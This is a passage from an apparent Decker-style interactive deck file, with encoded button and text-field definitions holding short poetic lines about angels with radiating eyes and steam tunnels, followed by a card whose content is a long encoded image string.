&gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field4:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[269,58],&#34;pos&#34;:[233,73],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;no longer content with amber screens and fir trees and antlers, i wander the streets and look for these angels with their dozens of radiating eyes.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field5:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[124,30],&#34;pos&#34;:[280,173],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;steam tunnels and diesel generators&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card8}&#xA;image:&#34;%%IMG0AgABVrJbbfwGc2euctZmZts2mbbMybbNzTa1ms1TSmamZLZ2UzM02ZjNIaZssZczTYzTWmMmbTWbNlsmZlmZnNZNk23vrZz6BZpaay5lszaZzbZmZrsZmWWSZmybWWrJaa2TJazMzY5nZm2yyZrZptmzNmmZszOZtkzJs2zWZqZm2bZlKazT/AWu21mpuZ2ZpmlmybMmZmY020tnZmatmyyzTM2tmZkzNGmaWltOSZimWymm3NmWamTZttmZltrrObZtmrZzbvwM5aWW2i5k7W22WZs52bZtm2W5GTGapTTTGWzYYzMzZZObZktmYbZurMnMmkZM2WbNszZM02maWZsmybLW2zP4AzU85lbLbmZZltZmzM2ZmcpMptOdmZnNW2ZjM1pmZljaUlWzKb0mYzMsdtmzZmaZmSbJZmzNJ1bM2bZuWZrc+A2bZm202Yszlmmm2ZY0y2ZtszTczGZsYyjMmybMzMzOTMzTNLYlaZlTZyMmuZs0zTNstzMttu1mZts2y85mzfkM2tszLGbzmbWtOZpzszSZMZtXJGNmZzqmmbTZJZmZpbM3LM2SzM2bXJmZakyzmWZsyzGZszKZmbMmybMztTP4A2aZmsq2NMzMtc0mzM1m105kyTM7GZLK2zMlmbZmZjMm0amSa1qUZMTY3UtNpMszjZnMzMzNsts5tNs09Nnu8g01pszamZZma0pmbTM1WmTZnKzbktmaTElmbKaZMzNY2JkzNplTNs03RmWZslxs2PM2W2ZmbGZmzNs2zZ5OmfgJmWznNmtnMzNrM5mapZMspWMzTNZmabNszMq2ZZmZTk2mzMmmZWMzWTcmZmbLM05KZMpzMzNZmNZLZNtjs2f4Cs5rOaVs2ZmctZmyzMy1szZbVmRlJmabJpmayUzMzMmlNkzMrKzMskmxsmzMq5Zlms2smZmWzbczbM0ybO1t8QZzm0zZFpTMyxTMZmVazM3KzMyzLZmWZLJmZSmaZmazM0lzNrOamY2uTJmTMzDUtOaaM5zM2aZlrbMzbZstmfQNmbTWW3NmZmnbZ003MzJMaaSpm5jZmUzNkzU2szMyNlppkzJJUrNssmbNmZnOWZMs48zmZmYzTMybbM3TZtfwCazNs2ZMazM2ZjMzmMynMy0zM0jTJmWbMZmSxmWZmcmMpkzJzGZmQsmyZmzMa0tbMzxmSzM02bMzZM2ybNpn+BZmay2sW5mZlmTY2MtKzNMyW1ZslmZmYppszmlMzM0ps5tpLTapmZstmzJmZyTWZMklmZmZm0y2bW2TNi2bOfQW2zLMszLWzNmbTs5pMzLMy5JMpzLZmVrKZmktMmZkzkhhLaSTLJS0skmZkzGcsZzNzNm0zMtmzMmadk3TZZvwCZmc01ZmVOZmmWMjNtyzLMys4zFpkk0kZxMlkpYzMzJvNpJm2VNmpZNmZpmc0yzHNlsmZmZssymak03Z2mzn8hsmzTZZTWUzMuaZOZJGjLMyZZmaTS2yrZmZmWbTmZplkZbTGSTTKmpcmSpsxmZmcTJibSszMpmzZu1pM22bNfgS7OdtqzM5WZpMtszNstqTM1U0y5TJJqZI5MssTMzJmTTJLNM2nKmaxM2ZpmmZkxtLLZOpmZbMzLUstswls1noDJsyyaq0zYzNc0mWbJlKzM0ZRmSzM0yyZiZmmbJmZkrMaSmaySTNJLMyZZMqUznK2bTYtmzVNluZs5a2tmzP8A2zOppmjZS2ZZNMcyLNMmlM5ms0qmZzGbabMMYmMzJmSybTKKnLMmcspppZm1lmbJSTLZNmabNSZpZppttNs/ATZMzmmTJzYzJMtsmbJM0tMpOZkyqZkmUR0ZszaZmZsWM0lmcuWSbZSamiZmTMySVmzMZZEyrJprZkzNlJszfoFl2nNbWbKkzObLIs1LMppaZYlMzJkkzMzEzJMRmMzRs0yamUwlTZEmZMbZkmJjbTKmzZzdmaTLmTbZZXbLbN4BTLMplMjMzZmaNJplTM5lJJZmZmVWZlkqsqZszGZiTIlJppMlmWk2aZUxklubOSWrMjKSRm1nbNWZlzZLbM2/AXMtrLWjNVkzM7TZlLKhTaeZNJMzRNmTMppjJM2TMypsszFks1ImSZkzNmZkmYzSjM2y53LGWTJWZTLTuTWTPkGbZNbLOZMzZkyLJlamOzJYZZNZmLMSZMzJWZMyWZmjRpZNLMlOssyWaYktlOTGWnKZTSyZmZmTZM1qmTbWdn4AmNZTMklszJnJaaVSTcjKUyTKTMyZZkyTJxTZJkzMnJlJkpMsqZkyxMzNkTMmcyZKyk0ypmlm3S2azO3My03+g2abbNzTJUzMNkyZS1kmSZTaaaZmZSmbMmTGTMmmRmSzaTLUpqRNSm2SclpqWRmprGbiyzJmTGTZMpcmSz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/9///f/OZ72+NM5m3w/+kzy/+eTmIySTkiJUmSGTIkkk/3nT9UkkyxshjLEhkyyZJsmR+iM/AMZLMpIQk//vvv77/+t9af/7/Y3N73253lRq/+LQ4eiSSEmUxIZMSEySyf8fI7FKMSKSTGKMmmCTJmSZNu+S/kCTKJJlNur/u/79f///7//ub93nMCW3u2dUj+9/0nFySSTIRCJgkkkRJKI3n6zPIskspNJKZspM0mSZJkn7zL4CaKTMSUGr/////v////f9vzfsdl+7z8zjWCf8UQoU5EkkZkkpGSIlJEmy1b8JTikKQSUTGRBJkxmZk2TJv6H+ggqWIZJMf/+//u8/f/988/W217f29McL/Y4hP5xJs8kkiXEjCQRJkMkSyDH/af6RMllSTMWbMjJkSmSZNq+SfgGyUZokn3//f9//b43+//Z23/edNjWTyiG+m798kmN7JJhxJMTFEEoSRG2/+jf6WkSMSqCyYozMhmJMkyTrcvwAREkCZJP////f+899/+/ds/O+Wad3w/JbOg8995bvshJfJJAyMSZJJJGv+a/2+EjJoyitCIylEbMZkmTJ/zz8gxWKbJJF/////87wn+///X//97edxfAQOMiE3/Jn/3DJAzJLCSSJJIkmb/y3y+XkkiIlE00ksWYYzLMsW52+fgGkMkSTN/3////9vud///N3k/832JHGQhqXsf/lif/EJKPiSEEySSSSSe/5n+v75SSYxVBjMkokxKIMiSDv7XwDKUWUSIn9////v/Pf/+91/z9rj2SHYAwmMSfn1Y/XkxcnsJE0kkSSRJH/71vm67EkhhhNKJMKmTUrYbMsO/D8AklYmUiv/f//79//87//jHqfatz45aiEACnPF9K6fWDBc+4lLHEyEkkkd///f7/mSTGjIklMsZMJSJokxvee+gZHNeomL/1//+///+y3//wvpz5M+lg4kkKLAJ7+v+aMKdjiSYsMCMiSKT//9+3pipJIJJjGSJRIylKSlJNV+/oEkO3ykX/9////v///7//NA48QAHjQVyAAiMaO8h32owvf8xLHDMQiJJP////9f8skixjFMKNGZjKWZMpob/p8A6Lr+JE//n//99//8/++f8dC8SQGPhZpADaNOqd7/aBH9zYkxekTCSEf////x/dNJKDDJQ0sWRGJJExKSu/i/Adqf8RMnHx///Zfv/f/9vZggMw0HD0icghnDkkwTfDM/9zJiZdySMkYSf/z/5//SkkmJCjDESGYZUmTMZPX9fgF6n/lInXR///30///v/vjyAgkix07sBZELIWNxn5PcTwmEuAR+gQkwl///P+f795JGSyKMMWMZkRZISSU9Zn6Btk+MSIXx////9nV7t0r+PpmGYrOPtsTRApg7b234xkMJ9YmZ+U0hAkf//3/Z/uaJMESskwsUkMZhGzMpNnf/AeR80iZgJ/////9/vr+b2pGxls0gDvKbTEqAFJvsewGwaHXn793XxEkl2v//2f+WZIkwgTDIkYYpDMGEynv9/QBpz7KRGje///7++v/z9lnnRBu8LA26mWaBMm//nS/4z411z+fjY8kkIeP/P/3/ixJJilkmMkxpKZJMWJL3zf4DJn7gyQLfv+/69/v/f//8K34NZhSZ2oWwNBgY9//f8m2ZN/Bkx98IhJnv/b///+CJJEkEiQTCIkRjMkYxPf7+AVk3zCikf7//7v//4+7f+5u7bdEcCHJ3mRhgAB/32jwk7//t2N3X4hHj/+8u///kpKREsklkmZTUTISmzD3f/gF8G5MaEf+/8P//9//r///yfa++r4I35XPgsQg/vzltg2fvzd7L/8lIc57fz///5hITMglEKSRFExCZnwa/T/6AJ/p49+X+n93//+/8//++0ddm6mO9B9/6NiQgv+/kIBlf73O1at7gCP2/P/f3//JJSIlkMokkmSJmYlZwz/5+AmlnX/eF/z/y/3//7//+P8z+Ul1yCYU2nI7ijF+Z7IPT7xfvte9+5KI////z5//XSciJEoiSSYJIiQp9yTP3/ANZnsb8E/8/os9/////zwKhHYmRgYnz/7QBkwC78zn6imvcvGfv7wOiF///////3f+SZJJJRkhozJEpD4s9//0C+my+5+fbO+/Xf//2328HwAz4jo3k4uvck0hyv+zcfiR+wPDP/+MxENf//9/9/e3nZBJJJlEmDCM0xP8k/bv8An93v/5vunvv1/////v3NVChOY4xk+B7+JMgHd8sz+9U8ebrz/jdj8Rn/n/77/crv8WSSSCRIZMgRBQ/sDg/+gD51L+NjjT33/P//7vt8QlQFqCUUt5Tc6Uympx9/R+/zf3iej/7D8eJur//+//+6P+QSSSZJJhgnJMzf9ckWfsD95rU4Py3G//pv//79H2AwAFQYYV4QOZcAHIGz/9wlcpyZWLf858/IrO9//n/tv//ikkkhEiGDIKQyP/s7t38B+brN/ZtZlf/+K33T/wQRGBgBAjt1jkbUawIIc/579+TWRwTf3lPj4T////7//8//4kkkmSSYZJiTAj/+Dz1/IY7fM0cdk/f//4v/+PdtkRYACmWfX8DGxYNBB9n/fmP2MuFUj2fve+XX///+///nvwkJJISJRhCGSMnf/M0/3wB3Rf569+P39/8Y3zn/WiAlECZAh+57ABOYzID0//0b3ZDMX5N/5a7/hv///X//+/0IpBJkkkGSYSQof79G9/7Am7+uuvf/9/MfYd99/3smEAADsK/zx3BBQItjcH7ZzdkYrItvH9Lf+wX///9///cQxJGSEkSYShklJj/5uv7+AO+67ref/3f7X8BPNe8sGUIiECdhqQNUjSCJgBd/nuX+ljkt9+/d/3sR/9////9iCjESSRJJJkmEkRH//Y/b/wHv/97tu//3ek/SIzn/cYEKAhCv0CDBBOWAbghHv7/5/MQetXOyb/n/EZ///7//qmICREFJIkEkZJJIf/fPffzBm/+X3fO/9/8H1TGNvIIpMTDCONsCpMsWczVGH/+v0jftf9hPkGO//kUf//6//sIEyEkUSSSZJBJIij//L3f+AN/9+3/////h0KEUmb4NRAdIYZLwcDi5UwXgJgP/vHB/977u9/e5n/5mf/////zCU5MSRJCRBJMSSTL//y//vwG/185///8/DZgY7IcwlOKEh6jfeARaPzGW6qNHft20ie56K///ff//o//////bMKdEJEkmEmSQySRIf/4u3/yB/3vd22//n5DGvNtF1Iph1zPibbgE6293+awHITu/1rZ8ef/P7Vbf/4P/////qwSfkIkiIUipDCEkkz/+z/7+Ad/7p//f7lue4EplJ7kiXHGARG+ukvn+2XJkIS/zu3ouvyR3v//3f//H/////+sTf9yyJIhJO2FMEiT//5///gP+/v/39vBIgE0bvlA5ZJBvDFW+2+8Pz/nukA1Aj+Jba/f1l///9+7/0//////+n/857JEmJFoEwsJZf//v3/2D//H///01ImNbqYo2PFV0HYDn/TvlJz/h++AWmJjNXn/7H/9//9+r////////87/+b74SQYSXkhIZH+//z/P8A////v//BlOMOyLFoZqJFLayGn9vZZ/+u/7jwI+buXu/yI1v////+/9/f////HX///u2RBgibJOQQbn//9///gM//////MOTAPQ1prZGuRF+8ks27tNCl/bu7EzWl/jVyDeziv//v/X/f//////7//37uSSEkm8k5SR////b/30D7f/v///Y4PH3kYPSYYzY+kSIP5inkIv/vcqo89N3Uf7Z37f//x///9//////+//985ghJFH7yMkJff//v/98A8//////72wG7QTp6Znw//HZ0ZGz7H9L7vTyhvdjdiW+zt+33/fv///n//////3/77eiiWMUS8liUv////n/+gP3///+/fnyQPxkyextehd386T2/33nw3/9MNGU+X6sZ+ed9v/0nd//g///////f8/7wIgQNH/3cJb///////oD/v//9//4GZwbjHI59zzZPJAK7a3Yf99/bJoRYt//+f97/+////z/3vn/////+v+/f0gilI43fdSP///f/P/8A+P//////iXkQjB4n/9y7rfSSf+/3d5M3hFiSjJ35/Z/2X9d//v/76/5/////+6fv/5DEmEykNvkJ+//f/B/+QNv///////AYDBMfRHRFtJ/fkz//t+Po5+zYmT0//P9Ps//3v///8mv/L/f9///9///sEBpFj3/+f/////1v7oH4Z9/////2RoEQw6fGNCV3+G773+9phr37v0kbZ8//c7+f///////z/7M////Nu///uQlElku/719///f9s/6B/W381////zVjIQnprYqdb5oEe+v9OPOd+e3IlvL3/03Xf7/////98P3rf//////2/9BiPhvLt9/P///95Nv+AeyzP3///39OAJGS5yM83jB2XT79/cZf2ct/7BgnH/33+n48/ff/4/D9Afs///rf9n9yAg9Ht1x/d/////dv/4G4ci////8WaiRMTvJkZyK6c/rX3feTXMff/bF2qK/u/vv5v3/f/8nI76X///967/RbsJDOlfv+v/////bx+/4Bd46rf3//k1LSQIs69NaKMnQi9d73tsN8979MJPR/e+99/v9//PfZ1l7P///////WhoQQFufP/3/v///+m/7+QfnTif3//4gjUHRG6ciG4YnlsHd+0XH/Xt139huD/++f//+8fjcL5ldd4f1/7//cNr/CRhfrf////////e2//gH5zkXf///lsEQoU+u3L/MDiTZn63uv97Hy9/taWf9//9///D/PaQoJ73f//7/79baPEIDDsfv+/9////+0b9+B97Z93///8XUcDgdnuR/Yx7Hnu/nuzstu5LeMvmb/3/9+e2JH2fFrpt/Pf3/3/ve9jYQoC/P//f/////+s5d9Adf37////+jzw4BoUcfY9mYhyGf9tj3/5zsvcnO7dv+/v//y1/eeY6Sfx2////+/+yUhAiH//f9/p///934VvQFf3n////+YGsmkRI33RPROSvpztf0tfPr5nPN9W/xb/3//1Qf/++Xb77f3/////7/UAEiP/9///y///2d4Tf4B3vZnn8//yA+YM0ifG4J5QZHmM/3du+vbRcet39o31/l/9r1v6/c/WjuP/////f/+6JInH/9///+f///2Pz98AX7st+/D/zQQw0gLU+pnvyEBE2N7/bq+XZxv8ZjA/9f5//4/Mpsl7T+/6+/f/9dPZ3pktUf////3j///27eO/wPu/v/D/rwpFjnJOOZDTX0kaLRAj33+v8azZ/RT7/////vv90i79T3k/8f/9f/8Trdy2f4Bf///8dv/5/7/o3wD///f9NX4yjosT8dXqPfTsGTdxJe6/3uxu/+lJzn//+f8z/E5M98f+f+2//37r57KH/+ckG6//+X9/779tW38g//93qkc9sYygCdx17sF8CDF/iTxznps/uS/K60rf9/hfA/XJ2h+3v/79vv+f+fhc8//fASf3/9jZ/7z9/9T/QNvvuT9CebtHM8HBodR5+2TEzqC4fl/98v9u2bL5P///7tv9zWe9Nu/7nf///3dL/V//fEgPv///93f23//0nwB///3ffNpcxfFgF9Zdz+Q2MrzFyf0/d+v3XmOuDZ///7vr+y89v6bZ+3u/v28/6X9n/zgCX+////7/93//kH6A9///3wFPzabfJMVfA82JijAPOI//H18//p9k7X5r///3pe7X//+//9j7H//v//X/d/8SICP//////3z/377foP7+P9DJbnvQJtij85uT4GkERgE1+P767//rz3lTP///3///d479n+2+rf//r//973+eQImp/////r/e5/um/iDf/G/tLyr6gw6whv8mlsI0BYwMv/+c1/e/LHPe28//////f/xvez/+5u43n///+77l7IgGcn/////e+7/+0z6AF/6H5euLzaZyYiL9zObKUEwxA8f72e///2W/975D/7v////582T/39l7H+9f//re+aeiU1N//+3vf3///1+fAI/f0f+HntVyIy4j4eLqd2umCsMD7127/+dvf/91l3+5////+m//L/69JEpt//v+Zfj2YBfF3/7/v+////+3fkDDD/iX+P9flsCMm2CTcjG6DBpFQf/73++76n/f9pbPwz////8//z/tcABphD/7/z3b+ESP9f9v9f79v/f/J/9BNML3nf//e5dee5nTBn8X0QWOhkr7/+/z3/7ubv/SbZZ///f5nPy///LJbNz//v+bbQ0B/8LPR+X/7////5m+AZXaz//35+bHN0uPUCY5UFzFxCuF/+fk3v+37e//Nb+x/////P/9X//SEU93vP/+53WnL//Fq+9b/X/////yPoDsk1///8fIlI2XI0KRD8jcI/GSJ/6rvXf+vfn9y3j+/Z/9/+ZZsV+faSR77T///zY/fu//9t/99//9/8/f2/4BzTef///h/3eU1oOygZxNb2IKEQ/GCud325P3//rLP/e///v+N/+Hl2SAZ7v////fv////0NeP/R3///339h/AeHvD////y/LdsZxuIRYLStr2EROAAen/Hv//n/7IH/+e+P9/0f4AG/ySX//////nv2/P/HLO//b////99/7vIDzuePD//xv+FOkmCUVLK52sAhCnmM/7L/2f9//+mNf/y/v////YQAP8kh//////7d5///y3+5/+//////39P6AstCeP//vM6jZ26a5UTRfjnKMwgIkj9pz9L99897sf/f//////zkAHuSCf/////PP/O/c3j/9/ff/////7vm+IXxeIb//+yDCbn8dnkURNsrW2abMJMT3/f+///+drc7//3+///7RADexIP/////7m+9v3d337/P+/////+71PQF3zsrf//8q05w3gP8B9Sd6FoqhEQQXs//6f8vx/t/W3/8//f//0QAe5Eh/////+b95N+nTn9v+Oev///v/+/4Df6t2f//+/uhztroPkMne247GWQJCxf33bv/n6z///L/5r/8+d3EAP9OAP/////m7hYfAB/97183v///tn/t/Av/r83///9Tze78rCKO0+8yv2exazBdN/33vu/St/r+/yCf//7tyAB338D/////7LoZHwB+f9/9//////f/9/EP//9n////7+/7M6S9j5+9sG7n2T0kTd7/5/8//x9//Xa+3//utuwA//+A////v/eTGZ8J+l///e+v///5/t/wD//////////uvj4cNSdav2wzr2TpRNv7/w95z+9f3/3xf7/+e7seAL9/gf//bH/0tPh6I2HPu////////f/v9g///u///7//b8X/Gwx51n6Nv+Pjcdxfnv/b7/L4//7/+v7///99f4DD/+D//zt//JnRO2R9////z/9///9v//AP//////////3zdpsPMr3+jenZmbr0+3/9v//enff//z79f///+f/wn//9/vJ8P/7sedJNfz/+/+/v///7f190D//vvv/////3u4cTDjodvmL/77/aUM/v/3/+/f4t/759+//n3vJ/n/////+/bP/ybZznt+l3//+f77//////8g///7//v///9mcZAT6g1/iZXrPltKy/7xt/93//64f74Qn//7/+n///7/f3/ut//YLG8H/0/+/1v3////ff3/gP//9//////6e/RyD+IOrpMU37+ebLd6/6////8d++f+/fv///7P//7//7v//8//e79j3f9//+/v///////ffoD///7/7////3pefMD04O+zNfY+u261//+//f3/xPzx/85////+///7/3+///zL/19/Fv/////f//vn////7f+hz//+//v///9+6pxQfCCb/Um8/r7+nf2///5+//7xkX/+2//////6tf3/n///5//E1/A3+f/////+b////+f/If/////////9fK+9EngQn2+LS90Xstn//v//3//xO+/917v///+//tZf/9/+X9f/RrG79jb/P/5//7/////5/4H///7////3P3znfkIEHcO95y79dvye/v///d//vX6s37WX//////ZZ///f9q9z/3vvL2bPYV/9vtv7////0d9B///+/9////dlz8fCEnP7r07Pnv13j//9/v+/++fmv97tf////v/76f//3LW3e//tf+/+/x9F/v9uet////P/Af////f///79ezm9gfLf/nvf7vD/Uhv/+////n5v53//y1////f//b1//92c9z/+8n32/3v/ve8f7Z///////wH///f////P/98p7395///R7zLKZvSZ/XPuf//nlu//f3r3/////7fH/3/e559//1/Ev/n//7/x3f/tH///739B//////v//9+nv7/827//+98zZTa0m//2b9//3f7//8bf5f//////9v////vz9/9mnzf/f//+p3+/3//////+Qf/////7b7/+/33b/v7f//Lf4/E39Qvkb/N///q5vcr/9+X/////7vX///M577//2SP/9//6f//f///+/////wHnv/v//6///79x/8+dd/82v+mSBzUL7E/fP//+7/zvvvxt/////9/v/9/ZLi+//sk8bf/P/v////3//v///b8B///////v//+/fbP3NPP19//yYoAE6se///P393+Pffv87P////9///f/32b3v/93XbWrf//+9///v/v///v+Qf//////3///v/ff/3j///f21M6AAXqT///2f/f/67/f//v///v/v///b//fX+//ZmPfd////+f//n//r////kH//////+///b/8//9mXfn700ni5AUgfv///uf//tj///+f////8cz/377f/d+//93s757t////f//9/1///74D/3/9///7//eve///457+P9/re/kQgD3////d7//v/3///3//9/ff/9/f8//7v/7b9v+z3f///////d+///9+A///////////s3vX/9y3rv/+25xzBEj7///1t/3/////33/////////f/9/77///P/v+2/9//////39////v/gP///v///b////f/r+TB5mf65g//JZYF////3p/f/7b7//5P9//3/n/v77////+/8V/2tv/vf/3+/99/fv/7/6D////////////5u/2o8jl/v+8Pmj+oI/////++vv+//////f///v//7//97+/v/7Xv/Pffvv///v//+3+/l/8g////////7v//7////er6f3ndzw2eSaof////////v/3//8//7/7f////9v//77/dqe3v3+aX///+/+/3////gP////////f//+/n///fKP3jCwDmRpwkf/////33/8///9/f///////v+/fn////2zrn93Q9be3/+7//7/9//kD////////////973/r0/991DBUwpO1AD////v/////+/////6SAXEk2//9f//3//zc0D/6/3/2/9v/t/9Z/j+A///+/////77/9jv/d/7EezSVT4YEBQgt///////v5////7YACEh0tyD/9zb/77+d5v37/7v//r33+/3t//afAP///33////7///93ZZ7lZPTIA/gIQGDMP//////+/f//4AA0WW2/tmv5/en/+///H+w/P/3/f+u////u//3fyD//////v///3/7/972Np1O2Rov8zAIC//x///7/////wAJSRZUlTNO9P2/O////7/b8/z/3/n//u7/v//v/F8A/////////ef/mj9+7b1td56GmFyAUAP///7/V+//0ABZ5Exm1mX5Zl3vu///9//fH+2//+f+vz+W/3/n+/t/AH/3//+///////79v7q2W3bZp0MM6CQP//////9vgF//9xCzmZs6fLnb+rR7/+9/3PPkPv///7+fJP/////03oD////+////z/7/8736bl5uxbPBYGyvf////9/QEv/vt7wOlmlpSzavbvu3D//r/+f/0vd///7u3/223///8t6A/+//////88///3/fczv9lu7KAHluP/////gE3///+//gI1SuZmW5pOvvPJP///+///+7f3//vVm99P7/7///Afzn////+/87f///9/v7b9c5/izCP/////0P/+//f///4Nllppuc+3a7+7/z//c/1v//vv///79/nx/////9f0H/9///////n3v//f7/539/S7DUnnr///W3+fv//////oJMmzOy0zjbtvq23/v3/9+/38////3+9v37//9//95A+////////7tr//7//O+2efAOVhl+bb2/////v////38DM1jYzLb7KW3vttv/7/+7n9f/////+37/+v//v/L/AOpv/+////84e//6//m9tu3ERrMtdef/b//////////+CZNGlm2Mua1t/b9r//8/+/ef//7///vP//m7///47gCqf///////PFv///9tf9b8yTKN7///7////////////AxMtmczazzW2vb55v//f9//f3+v///+v/v97/5/8n6B8/3/3////zwb////3X7e5tm////v///////f//////gzZKllmmt+Urb+